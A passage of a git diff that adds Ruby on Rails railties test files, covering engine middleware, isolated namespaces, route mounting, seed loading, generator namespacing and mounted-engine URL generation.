+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ initializer "dummy_initializer" do
+ end
+ end
+ end
+ RUBY
+
+ boot_rails
+
+ initializers = Rails.application.initializers.tsort
+ index = initializers.index { |i| i.name == "dummy_initializer" }
+ selection = initializers[(index-3)..(index)].map(&:name).map(&:to_s)
+
+ assert_equal %w(
+ load_config_initializers
+ load_config_initializers
+ engines_blank_point
+ dummy_initializer
+ ), selection
+
+ assert index < initializers.index { |i| i.name == :build_middleware_stack }
+ end
+
+ class Upcaser
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ response = @app.call(env)
+ response[2].each { |b| b.upcase! }
+ response
+ end
+ end
+
+ test "engine is a rack app and can have his own middleware stack" do
+ add_to_config("config.action_dispatch.show_exceptions = false")
+
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ endpoint lambda { |env| [200, {'Content-Type' => 'text/html'}, ['Hello World']] }
+ config.middleware.use ::RailtiesTest::EngineTest::Upcaser
+ end
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ mount(Bukkits::Engine => "/bukkits")
+ end
+ RUBY
+
+ boot_rails
+
+ get("/bukkits")
+ assert_equal "HELLO WORLD", last_response.body
+ end
+
+ test "pass the value of the segment" do
+ controller "foo", <<-RUBY
+ class FooController < ActionController::Base
+ def index
+ render text: params[:username]
+ end
+ end
+ RUBY
+
+ @plugin.write "config/routes.rb", <<-RUBY
+ Bukkits::Engine.routes.draw do
+ root to: "foo#index"
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ mount(Bukkits::Engine => "/:username")
+ end
+ RUBY
+
+ boot_rails
+
+ get("/arunagw")
+ assert_equal "arunagw", last_response.body
+
+ end
+
+ test "it provides routes as default endpoint" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ end
+ end
+ RUBY
+
+ @plugin.write "config/routes.rb", <<-RUBY
+ Bukkits::Engine.routes.draw do
+ get "/foo" => lambda { |env| [200, {'Content-Type' => 'text/html'}, ['foo']] }
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ mount(Bukkits::Engine => "/bukkits")
+ end
+ RUBY
+
+ boot_rails
+
+ get("/bukkits/foo")
+ assert_equal "foo", last_response.body
+ end
+
+ test "it loads its environments file" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ config.paths["config/environments"].push "config/environments/additional.rb"
+ end
+ end
+ RUBY
+
+ @plugin.write "config/environments/development.rb", <<-RUBY
+ Bukkits::Engine.configure do
+ config.environment_loaded = true
+ end
+ RUBY
+
+ @plugin.write "config/environments/additional.rb", <<-RUBY
+ Bukkits::Engine.configure do
+ config.additional_environment_loaded = true
+ end
+ RUBY
+
+ boot_rails
+
+ assert Bukkits::Engine.config.environment_loaded
+ assert Bukkits::Engine.config.additional_environment_loaded
+ end
+
+ test "it passes router in env" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ endpoint lambda { |env| [200, {'Content-Type' => 'text/html'}, ['hello']] }
+ end
+ end
+ RUBY
+
+ require "rack/file"
+ boot_rails
+
+ env = Rack::MockRequest.env_for("/")
+ Bukkits::Engine.call(env)
+ assert_equal Bukkits::Engine.routes, env['action_dispatch.routes']
+
+ env = Rack::MockRequest.env_for("/")
+ Rails.application.call(env)
+ assert_equal Rails.application.routes, env['action_dispatch.routes']
+ end
+
+ test "isolated engine should include only its own routes and helpers" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ isolate_namespace Bukkits
+ end
+ end
+ RUBY
+
+ @plugin.write "app/models/bukkits/post.rb", <<-RUBY
+ module Bukkits
+ class Post
+ extend ActiveModel::Naming
+
+ def to_param
+ "1"
+ end
+ end
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get "/bar" => "bar#index", as: "bar"
+ mount Bukkits::Engine => "/bukkits", as: "bukkits"
+ end
+ RUBY
+
+ @plugin.write "config/routes.rb", <<-RUBY
+ Bukkits::Engine.routes.draw do
+ get "/foo" => "foo#index", as: "foo"
+ get "/foo/show" => "foo#show"
+ get "/from_app" => "foo#from_app"
+ get "/routes_helpers_in_view" => "foo#routes_helpers_in_view"
+ get "/polymorphic_path_without_namespace" => "foo#polymorphic_path_without_namespace"
+ resources :posts
+ end
+ RUBY
+
+ app_file "app/helpers/some_helper.rb", <<-RUBY
+ module SomeHelper
+ def something
+ "Something... Something... Something..."
+ end
+ end
+ RUBY
+
+ @plugin.write "app/helpers/engine_helper.rb", <<-RUBY
+ module EngineHelper
+ def help_the_engine
+ "Helped."
+ end
+ end
+ RUBY
+
+ @plugin.write "app/controllers/bukkits/foo_controller.rb", <<-RUBY
+ class Bukkits::FooController < ActionController::Base
+ def index
+ render inline: "<%= help_the_engine %>"
+ end
+
+ def show
+ render text: foo_path
+ end
+
+ def from_app
+ render inline: "<%= (self.respond_to?(:bar_path) || self.respond_to?(:something)) %>"
+ end
+
+ def routes_helpers_in_view
+ render inline: "<%= foo_path %>, <%= main_app.bar_path %>"
+ end
+
+ def polymorphic_path_without_namespace
+ render text: polymorphic_path(Post.new)
+ end
+ end
+ RUBY
+
+ @plugin.write "app/mailers/bukkits/my_mailer.rb", <<-RUBY
+ module Bukkits
+ class MyMailer < ActionMailer::Base
+ end
+ end
+ RUBY
+
+ add_to_config("config.action_dispatch.show_exceptions = false")
+
+ boot_rails
+
+ assert_equal "bukkits_", Bukkits.table_name_prefix
+ assert_equal "bukkits", Bukkits::Engine.engine_name
+ assert_equal Bukkits.railtie_namespace, Bukkits::Engine
+ assert ::Bukkits::MyMailer.method_defined?(:foo_path)
+ assert !::Bukkits::MyMailer.method_defined?(:bar_path)
+
+ get("/bukkits/from_app")
+ assert_equal "false", last_response.body
+
+ get("/bukkits/foo/show")
+ assert_equal "/bukkits/foo", last_response.body
+
+ get("/bukkits/foo")
+ assert_equal "Helped.", last_response.body
+
+ get("/bukkits/routes_helpers_in_view")
+ assert_equal "/bukkits/foo, /bar", last_response.body
+
+ get("/bukkits/polymorphic_path_without_namespace")
+ assert_equal "/bukkits/posts/1", last_response.body
+ end
+
+ test "isolated engine should avoid namespace in names if that's possible" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ isolate_namespace Bukkits
+ end
+ end
+ RUBY
+
+ @plugin.write "app/models/bukkits/post.rb", <<-RUBY
+ module Bukkits
+ class Post
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+ attr_accessor :title
+
+ def to_param
+ "1"
+ end
+
+ def persisted?
+ false
+ end
+ end
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ mount Bukkits::Engine => "/bukkits", as: "bukkits"
+ end
+ RUBY
+
+ @plugin.write "config/routes.rb", <<-RUBY
+ Bukkits::Engine.routes.draw do
+ resources :posts
+ end
+ RUBY
+
+ @plugin.write "app/controllers/bukkits/posts_controller.rb", <<-RUBY
+ class Bukkits::PostsController < ActionController::Base
+ def new
+ end
+ end
+ RUBY
+
+ @plugin.write "app/views/bukkits/posts/new.html.erb", <<-ERB
+ <%= form_for(Bukkits::Post.new) do |f| %>
+ <%= f.text_field :title %>
+ <% end %>
+ ERB
+
+ add_to_config("config.action_dispatch.show_exceptions = false")
+
+ boot_rails
+
+ get("/bukkits/posts/new")
+ assert_match(/name="post\[title\]"/, last_response.body)
+ end
+
+ test "isolated engine should set correct route module prefix for nested namespace" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ module Awesome
+ class Engine < ::Rails::Engine
+ isolate_namespace Bukkits::Awesome
+ end
+ end
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ mount Bukkits::Awesome::Engine => "/bukkits", :as => "bukkits"
+ end
+ RUBY
+
+ @plugin.write "config/routes.rb", <<-RUBY
+ Bukkits::Awesome::Engine.routes.draw do
+ get "/foo" => "foo#index"
+ end
+ RUBY
+
+ @plugin.write "app/controllers/bukkits/awesome/foo_controller.rb", <<-RUBY
+ class Bukkits::Awesome::FooController < ActionController::Base
+ def index
+ render :text => "ok"
+ end
+ end
+ RUBY
+
+ add_to_config("config.action_dispatch.show_exceptions = false")
+
+ boot_rails
+
+ get("/bukkits/foo")
+ assert_equal "ok", last_response.body
+ end
+
+ test "loading seed data" do
+ @plugin.write "db/seeds.rb", <<-RUBY
+ Bukkits::Engine.config.bukkits_seeds_loaded = true
+ RUBY
+
+ app_file "db/seeds.rb", <<-RUBY
+ Rails.application.config.app_seeds_loaded = true
+ RUBY
+
+ boot_rails
+
+ Rails.application.load_seed
+ assert Rails.application.config.app_seeds_loaded
+ assert_raise(NoMethodError) { Bukkits::Engine.config.bukkits_seeds_loaded }
+
+ Bukkits::Engine.load_seed
+ assert Bukkits::Engine.config.bukkits_seeds_loaded
+ end
+
+ test "skips nonexistent seed data" do
+ FileUtils.rm "#{app_path}/db/seeds.rb"
+ boot_rails
+ assert_nil Rails.application.load_seed
+ end
+
+ test "using namespace more than once on one module should not overwrite railtie_namespace method" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module AppTemplate
+ class Engine < ::Rails::Engine
+ isolate_namespace(AppTemplate)
+ end
+ end
+ RUBY
+
+ add_to_config "isolate_namespace AppTemplate"
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do end
+ RUBY
+
+ boot_rails
+
+ assert_equal AppTemplate.railtie_namespace, AppTemplate::Engine
+ end
+
+ test "properly reload routes" do
+ # when routes are inside application class definition
+ # they should not be reloaded when engine's routes
+ # file has changed
+ add_to_config <<-RUBY
+ routes do
+ mount lambda{|env| [200, {}, ["foo"]]} => "/foo"
+ mount Bukkits::Engine => "/bukkits"
+ end
+ RUBY
+
+ FileUtils.rm(File.join(app_path, "config/routes.rb"))
+
+ @plugin.write "config/routes.rb", <<-RUBY
+ Bukkits::Engine.routes.draw do
+ mount lambda{|env| [200, {}, ["bar"]]} => "/bar"
+ end
+ RUBY
+
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ isolate_namespace(Bukkits)
+ end
+ end
+ RUBY
+
+ boot_rails
+
+ get("/foo")
+ assert_equal "foo", last_response.body
+
+ get("/bukkits/bar")
+ assert_equal "bar", last_response.body
+ end
+
+ test "setting generators for engine and overriding app generator's" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ config.generators do |g|
+ g.orm :data_mapper
+ g.template_engine :haml
+ g.test_framework :rspec
+ end
+
+ config.app_generators do |g|
+ g.orm :mongoid
+ g.template_engine :liquid
+ g.test_framework :shoulda
+ end
+ end
+ end
+ RUBY
+
+ add_to_config <<-RUBY
+ config.generators do |g|
+ g.test_framework :test_unit
+ end
+ RUBY
+
+ boot_rails
+
+ app_generators = Rails.application.config.generators.options[:rails]
+ assert_equal :mongoid , app_generators[:orm]
+ assert_equal :liquid , app_generators[:template_engine]
+ assert_equal :test_unit, app_generators[:test_framework]
+
+ generators = Bukkits::Engine.config.generators.options[:rails]
+ assert_equal :data_mapper, generators[:orm]
+ assert_equal :haml , generators[:template_engine]
+ assert_equal :rspec , generators[:test_framework]
+ end
+
+ test "engine should get default generators with ability to overwrite them" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ config.generators.test_framework :rspec
+ end
+ end
+ RUBY
+
+ boot_rails
+
+ generators = Bukkits::Engine.config.generators.options[:rails]
+ assert_equal :active_record, generators[:orm]
+ assert_equal :rspec , generators[:test_framework]
+
+ app_generators = Rails.application.config.generators.options[:rails]
+ assert_equal :test_unit , app_generators[:test_framework]
+ end
+
+ test "do not create table_name_prefix method if it already exists" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ def self.table_name_prefix
+ "foo"
+ end
+
+ class Engine < ::Rails::Engine
+ isolate_namespace(Bukkits)
+ end
+ end
+ RUBY
+
+ boot_rails
+
+ assert_equal "foo", Bukkits.table_name_prefix
+ end
+
+ test "fetching engine by path" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ end
+ end
+ RUBY
+
+ boot_rails
+
+ assert_equal Bukkits::Engine.instance, Rails::Engine.find(@plugin.path)
+
+ # check expanding paths
+ engine_dir = @plugin.path.chomp("/").split("/").last
+ engine_path = File.join(@plugin.path, '..', engine_dir)
+ assert_equal Bukkits::Engine.instance, Rails::Engine.find(engine_path)
+ end
+
+ test "gather isolated engine's helpers in Engine#helpers" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ isolate_namespace Bukkits
+ end
+ end
+ RUBY
+
+ app_file "app/helpers/some_helper.rb", <<-RUBY
+ module SomeHelper
+ def foo
+ 'foo'
+ end
+ end
+ RUBY
+
+ @plugin.write "app/helpers/bukkits/engine_helper.rb", <<-RUBY
+ module Bukkits
+ module EngineHelper
+ def bar
+ 'bar'
+ end
+ end
+ end
+ RUBY
+
+ @plugin.write "app/helpers/engine_helper.rb", <<-RUBY
+ module EngineHelper
+ def baz
+ 'baz'
+ end
+ end
+ RUBY
+
+ add_to_config("config.action_dispatch.show_exceptions = false")
+
+ boot_rails
+
+ assert_equal [:bar, :baz], Bukkits::Engine.helpers.public_instance_methods.sort
+ end
+
+ test "setting priority for engines with config.railties_order" do
+ @blog = engine "blog" do |plugin|
+ plugin.write "lib/blog.rb", <<-RUBY
+ module Blog
+ class Engine < ::Rails::Engine
+ end
+ end
+ RUBY
+ end
+
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ isolate_namespace Bukkits
+ end
+ end
+ RUBY
+
+ controller "main", <<-RUBY
+ class MainController < ActionController::Base
+ def foo
+ render inline: '<%= render :partial => "shared/foo" %>'
+ end
+
+ def bar
+ render inline: '<%= render :partial => "shared/bar" %>'
+ end
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ get "/foo" => "main#foo"
+ get "/bar" => "main#bar"
+ end
+ RUBY
+
+ @plugin.write "app/views/shared/_foo.html.erb", <<-RUBY
+ Bukkit's foo partial
+ RUBY
+
+ app_file "app/views/shared/_foo.html.erb", <<-RUBY
+ App's foo partial
+ RUBY
+
+ @blog.write "app/views/shared/_bar.html.erb", <<-RUBY
+ Blog's bar partial
+ RUBY
+
+ app_file "app/views/shared/_bar.html.erb", <<-RUBY
+ App's bar partial
+ RUBY
+
+ @plugin.write "app/assets/javascripts/foo.js", <<-RUBY
+ // Bukkit's foo js
+ RUBY
+
+ app_file "app/assets/javascripts/foo.js", <<-RUBY
+ // App's foo js
+ RUBY
+
+ @blog.write "app/assets/javascripts/bar.js", <<-RUBY
+ // Blog's bar js
+ RUBY
+
+ app_file "app/assets/javascripts/bar.js", <<-RUBY
+ // App's bar js
+ RUBY
+
+ add_to_config("config.railties_order = [:all, :main_app, Blog::Engine]")
+
+ boot_rails
+
+ get("/foo")
+ assert_equal "Bukkit's foo partial", last_response.body.strip
+
+ get("/bar")
+ assert_equal "App's bar partial", last_response.body.strip
+
+ get("/assets/foo.js")
+ assert_equal "// Bukkit's foo js\n;", last_response.body.strip
+
+ get("/assets/bar.js")
+ assert_equal "// App's bar js\n;", last_response.body.strip
+
+ # ensure that railties are not added twice
+ railties = Rails.application.send(:ordered_railties).map(&:class)
+ assert_equal railties, railties.uniq
+ end
+
+ test "railties_order adds :all with lowest priority if not given" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ end
+ end
+ RUBY
+
+ controller "main", <<-RUBY
+ class MainController < ActionController::Base
+ def foo
+ render inline: '<%= render :partial => "shared/foo" %>'
+ end
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ get "/foo" => "main#foo"
+ end
+ RUBY
+
+ @plugin.write "app/views/shared/_foo.html.erb", <<-RUBY
+ Bukkit's foo partial
+ RUBY
+
+ app_file "app/views/shared/_foo.html.erb", <<-RUBY
+ App's foo partial
+ RUBY
+
+ add_to_config("config.railties_order = [Bukkits::Engine]")
+
+ boot_rails
+
+ get("/foo")
+ assert_equal "Bukkit's foo partial", last_response.body.strip
+ end
+
+ test "engine can be properly mounted at root" do
+ add_to_config("config.action_dispatch.show_exceptions = false")
+ add_to_config("config.serve_static_assets = false")
+
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ isolate_namespace ::Bukkits
+ end
+ end
+ RUBY
+
+ @plugin.write "config/routes.rb", <<-RUBY
+ Bukkits::Engine.routes.draw do
+ root "foo#index"
+ end
+ RUBY
+
+ @plugin.write "app/controllers/bukkits/foo_controller.rb", <<-RUBY
+ module Bukkits
+ class FooController < ActionController::Base
+ def index
+ text = <<-TEXT
+ script_name: \#{request.script_name}
+ fullpath: \#{request.fullpath}
+ path: \#{request.path}
+ TEXT
+ render text: text
+ end
+ end
+ end
+ RUBY
+
+
+ app_file "config/routes.rb", <<-RUBY
+ Rails.application.routes.draw do
+ mount Bukkits::Engine => "/"
+ end
+ RUBY
+
+ boot_rails
+
+ expected = <<-TEXT
+ script_name:
+ fullpath: /
+ path: /
+ TEXT
+
+ get("/")
+ assert_equal expected.split("\n").map(&:strip),
+ last_response.body.split("\n").map(&:strip)
+ end
+
+ test "paths are properly generated when application is mounted at sub-path" do
+ @plugin.write "lib/bukkits.rb", <<-RUBY
+ module Bukkits
+ class Engine < ::Rails::Engine
+ isolate_namespace Bukkits
+ end
+ end
+ RUBY
+
+ app_file "app/controllers/bar_controller.rb", <<-RUBY
+ class BarController < ApplicationController
+ def index
+ render text: bukkits.bukkit_path
+ end
+ end
+ RUBY
+
+ app_file "config/routes.rb", <<-RUBY
+ AppTemplate::Application.routes.draw do
+ get '/bar' => 'bar#index', :as => 'bar'
+ mount Bukkits::Engine => "/bukkits", :as => "bukkits"
+ end
+ RUBY
+
+ @plugin.write "config/routes.rb", <<-RUBY
+ Bukkits::Engine.routes.draw do
+ get '/bukkit' => 'bukkit#index'
+ end
+ RUBY
+
+
+ @plugin.write "app/controllers/bukkits/bukkit_controller.rb", <<-RUBY
+ class Bukkits::BukkitController < ActionController::Base
+ def index
+ render text: main_app.bar_path
+ end
+ end
+ RUBY
+
+ boot_rails
+
+ get("/bukkits/bukkit", {}, {'SCRIPT_NAME' => '/foo'})
+ assert_equal '/foo/bar', last_response.body
+
+ get("/bar", {}, {'SCRIPT_NAME' => '/foo'})
+ assert_equal '/foo/bukkits/bukkit', last_response.body
+ end
+
+ test "engines method is properly deprecated" do
+ boot_rails
+
+ assert_deprecated { app.railties.engines }
+ end
+
+ private
+ def app
+ Rails.application
+ end
+ end
+end
diff --git a/railties/test/railties/generators_test.rb b/railties/test/railties/generators_test.rb
new file mode 100644
index 0000000..7348d70
--- /dev/null
+++ b/railties/test/railties/generators_test.rb
@@ -0,0 +1,126 @@
+RAILS_ISOLATED_ENGINE = true
+require "isolation/abstract_unit"
+
+require 'generators/generators_test_helper'
+require "rails/generators/test_case"
+
+module RailtiesTests
+ class GeneratorTest < Rails::Generators::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def destination_root
+ tmp_path 'foo_bar'
+ end
+
+ def tmp_path(*args)
+ @tmp_path ||= File.realpath(Dir.mktmpdir)
+ File.join(@tmp_path, *args)
+ end
+
+ def engine_path
+ tmp_path('foo_bar')
+ end
+
+ def bundled_rails(cmd)
+ `bundle exec rails #{cmd}`
+ end
+
+ def rails(cmd)
+ environment = File.expand_path('../../../../load_paths', __FILE__)
+ if File.exist?("#{environment}.rb")
+ require_environment = "-r #{environment}"
+ end
+ `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails #{cmd}`
+ end
+
+ def build_engine(is_mountable=false)
+ FileUtils.rm_rf(engine_path)
+ FileUtils.mkdir_p(engine_path)
+
+ mountable = is_mountable ? "--mountable" : ""
+
+ rails("plugin new #{engine_path} --full #{mountable}")
+
+ Dir.chdir(engine_path) do
+ File.open("Gemfile", "w") do |f|
+ f.write <<-GEMFILE.gsub(/^ {12}/, '')
+ source "https://rubygems.org"
+
+ gem 'rails', path: '#{RAILS_FRAMEWORK_ROOT}'
+ gem 'sqlite3'
+ GEMFILE
+ end
+ end
+ end
+
+ def build_mountable_engine
+ build_engine(true)
+ end
+
+ def test_controllers_are_correctly_namespaced_when_engine_is_mountable
+ build_mountable_engine
+ Dir.chdir(engine_path) do
+ bundled_rails("g controller topics")
+ assert_file "app/controllers/foo_bar/topics_controller.rb", /module FooBar\n class TopicsController/
+ assert_no_file "app/controllers/topics_controller.rb"
+ end
+ end
+
+ def test_models_are_correctly_namespaced_when_engine_is_mountable
+ build_mountable_engine
+ Dir.chdir(engine_path) do
+ bundled_rails("g model topic")
+ assert_file "app/models/foo_bar/topic.rb", /module FooBar\n class Topic/
+ assert_no_file "app/models/topic.rb"
+ end
+ end
+
+ def test_table_name_prefix_is_correctly_namespaced_when_engine_is_mountable
+ build_mountable_engine
+ Dir.chdir(engine_path) do
+ bundled_rails("g model namespaced/topic")
+ assert_file "app/models/foo_bar/namespaced.rb", /module FooBar\n module Namespaced/ do |content|
+ assert_class_method :table_name_prefix, content do |method_content|
+ assert_match(/'foo_bar_namespaced_'/, method_content)
+ end
+ end
+ end
+ end
+
+ def test_helpers_are_correctly_namespaced_when_engine_is_mountable
+ build_mountable_engine
+ Dir.chdir(engine_path) do
+ bundled_rails("g helper topics")
+ assert_file "app/helpers/foo_bar/topics_helper.rb", /module FooBar\n module TopicsHelper/
+ assert_no_file "app/helpers/topics_helper.rb"
+ end
+ end
+
+ def test_controllers_are_not_namespaced_when_engine_is_not_mountable
+ build_engine
+ Dir.chdir(engine_path) do
+ bundled_rails("g controller topics")
+ assert_file "app/controllers/topics_controller.rb", /class TopicsController/
+ assert_no_file "app/controllers/foo_bar/topics_controller.rb"
+ end
+ end
+
+ def test_models_are_not_namespaced_when_engine_is_not_mountable
+ build_engine
+ Dir.chdir(engine_path) do
+ bundled_rails("g model topic")
+ assert_file "app/models/topic.rb", /class Topic/
+ assert_no_file "app/models/foo_bar/topic.rb"
+ end
+ end
+
+ def test_helpers_are_not_namespaced_when_engine_is_not_mountable
+ build_engine
+ Dir.chdir(engine_path) do
+ bundled_rails("g helper topics")
+ assert_file "app/helpers/topics_helper.rb", /module TopicsHelper/
+ assert_no_file "app/helpers/foo_bar/topics_helper.rb"
+ end
+ end
+ end
+end
diff --git a/railties/test/railties/mounted_engine_test.rb b/railties/test/railties/mounted_engine_test.rb
new file mode 100644
index 0000000..80559a6
--- /dev/null
+++ b/railties/test/railties/mounted_engine_test.rb
@@ -0,0 +1,233 @@
+require 'isolation/abstract_unit'
+
+module ApplicationTests
+ class ApplicationRoutingTest < ActiveSupport::TestCase
+ require 'rack/test'
+ include Rack::Test::Methods
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+
+ add_to_config("config.action_dispatch.show_exceptions = false")
+
+ @simple_plugin = engine "weblog"
+ @plugin = engine "blog"
+
+ app_file 'config/routes.rb', <<-RUBY
+ AppTemplate::Application.routes.draw do
+ mount Weblog::Engine, :at => '/', :as => 'weblog'
+ resources :posts
+ get "/engine_route" => "application_generating#engine_route"
+ get "/engine_route_in_view" => "application_generating#engine_route_in_view"
+ get "/weblog_engine_route" => "application_generating#weblog_engine_route"
+ get "/weblog_engine_route_in_view" => "application_generating#weblog_engine_route_in_view"
+ get "/url_for_engine_route" => "application_generating#url_for_engine_route"
+ get "/polymorphic_route" => "application_generating#polymorphic_route"
+ get "/application_polymorphic_path" => "application_generating#application_polymorphic_path"
+ scope "/:user", :user => "anonymous" do
+ mount Blog::Engine => "/blog"
+ end
+ root :to => 'main#index'
+ end
+ RUBY
+
+
+ @simple_plugin.write "lib/weblog.rb", <<-RUBY
+ module Weblog
+ class Engine < ::Rails::Engine
+ end
+ end
+ RUBY
+
+ @simple_plugin.write "config/routes.rb", <<-RUBY
+ Weblog::Engine.routes.draw do
+ get '/weblog' => "weblogs#index", as: 'weblogs'
+ end
+ RUBY
+
+ @simple_plugin.write "app/controllers/weblogs_controller.rb", <<-RUBY
+ class WeblogsController < ActionController::Base
+ def index
+ render text: request.url
+ end
+ end
+ RUBY
+
+
+ @plugin.write "app/models/blog/post.rb", <<-RUBY
+ module Blog
+ class Post
+ extend ActiveModel::Naming
+
+ def id
+ 44
+ end
+
+ def to_param
+ id.to_s
+ end
+
+ def new_record?
+ false
+ end
+ end
+ end
+ RUBY
+
+ @plugin.write "lib/blog.rb", <<-RUBY
+ module Blog
+ class Engine < ::Rails::Engine
+ isolate_namespace(Blog)
+ end
+ end
+ RUBY
+
+ @plugin.write "config/routes.rb", <<-RUBY
+ Blog::Engine.routes.draw do
+ resources :posts
+ get '/generate_application_route', to: 'posts#generate_application_route'
+ get '/application_route_in_view', to: 'posts#application_route_in_view'
+ get '/engine_polymorphic_path', to: 'posts#engine_polymorphic_path'
+ get '/engine_asset_path', to: 'posts#engine_asset_path'
+ end
+ RUBY
+
+ @plugin.write "app/controllers/blog/posts_controller.rb", <<-RUBY
+ module Blog
+ class PostsController < ActionController::Base
+ def index
+ render text: blog.post_path(1)
+ end
+
+ def generate_application_route
+ path = main_app.url_for(controller: "/main",
+ action: "index",
+ only_path: true)
+ render text: path
+ end
+
+ def application_route_in_view
+ render inline: "<%= main_app.root_path %>"
+ end
+
+ def engine_polymorphic_path
+ render text: polymorphic_path(Post.new)
+ end
+
+ def engine_asset_path
+ render inline: "<%= asset_path 'images/foo.png' %>"
+ end
+ end
+ end
+ RUBY
+
+ app_file "app/controllers/application_generating_controller.rb", <<-RUBY
+ class ApplicationGeneratingController < ActionController::Base
+ def engine_route
+ render text: blog.posts_path
+ end
+
+ def engine_route_in_view
+ render inline: "<%= blog.posts_path %>"
+ end
+
+ def weblog_engine_route
+ render text: weblog.weblogs_path
+ end
+
+ def weblog_engine_route_in_view
+ render inline: "<%= weblog.weblogs_path %>"
+ end
+
+ def url_for_engine_route
+ render text: blog.url_for(controller: "blog/posts", action: "index", user: "john", only_path: true)
+ end
+
+ def polymorphic_route
+ render text: polymorphic_url([blog, Blog::Post.new])
+ end
+
+ def application_polymorphic_path
+ render text: polymorphic_path(Blog::Post.new)
+ end
+ end
+ RUBY
+
+ boot_rails
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def app
+ @app ||= begin
+ require "#{app_path}/config/environment"
+ Rails.application
+ end
+ end
+
+ test "routes generation in engine and application" do
+ # test generating engine's route from engine
+ get "/john/blog/posts"
+ assert_equal "/john/blog/posts/1", last_response.body
+
+ # test generating engine's route from engine with default_url_options
+ get "/john/blog/posts", {}, 'SCRIPT_NAME' => "/foo"
+ assert_equal "/foo/john/blog/posts/1", last_response.body
+
+ # test generating engine's route from application
+ get "/engine_route"
+ assert_equal "/anonymous/blog/posts", last_response.body
+
+ get "/engine_route_in_view"
+ assert_equal "/anonymous/blog/posts", last_response.body
+
+ get "/url_for_engine_route"
+ assert_equal "/john/blog/posts", last_response.body
+
+ # test generating engine's route from application with default_url_options
+ get "/engine_route", {}, 'SCRIPT_NAME' => "/foo"
+ assert_equal "/foo/anonymous/blog/posts", last_response.body
+
+ get "/url_for_engine_route", {}, 'SCRIPT_NAME' => "/foo"
+ assert_equal "/foo/john/blog/posts", last_response.body
+
+ # test generating application's route from engine
+ get "/someone/blog/generate_application_route"
+ assert_equal "/", last_response.body
+
+ get "/somone/blog/application_route_in_view"
+ assert_equal "/", last_response.body
+
+ # test generating application's route from engine with default_url_options
+ get "/someone/blog/generate_application_route", {}, 'SCRIPT_NAME' => '/foo'
+ assert_equal "/foo/", last_response.body
+
+ # test polymorphic routes
+ get "/polymorphic_route"
+ assert_equal "http://example.org/anonymous/blog/posts/44", last_response.body
+
+ # test that correct path is generated for the same polymorphic_path call in an engine
+ get "/somone/blog/engine_polymorphic_path"
+ assert_equal "/somone/blog/posts/44", last_response.body
+
+ # and in an application
+ get "/application_polymorphic_path"
+ assert_equal "/posts/44", last_response.body
+
+ # test that asset path will not get script_name when generated in the engine
+ get "/someone/blog/engine_asset_path"
+ assert_equal "/images/foo.png", last_response.body
+ end
+
+ test "route path for controller action when engine is mounted at root" do
+ get "/weblog_engine_route"
+ assert_equal "/weblog", last_response.body
+
+ get "/weblog_engine_route_in_view"
+ assert_equal "/weblog", last_response.body
+ end
+ end
+end
diff --git a/railties/test/railties/railtie_test.rb b/railties/test/railties/railtie_test.rb
new file mode 100644
index 0000000..0786b8f
--- /dev/null
+++ b/railties/test/railties/railtie_test.rb
@@ -0,0 +1,207 @@
+require "isolation/abstract_unit"
+
+module RailtiesTest
+ class RailtieTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::Isolation
+
+ def setup
+ build_app
+ boot_rails
+ FileUtils.rm_rf("#{app_path}/config/environments")
+ require "rails/all"
+ end
+
+ def teardown
+ teardown_app
+ end
+
+ def app
+ @app ||= Rails.application
+ end
+
+ test "Rails::Railtie itself does not respond to config" do
+ assert !Rails::Railtie.respond_to?(:config)
+ end
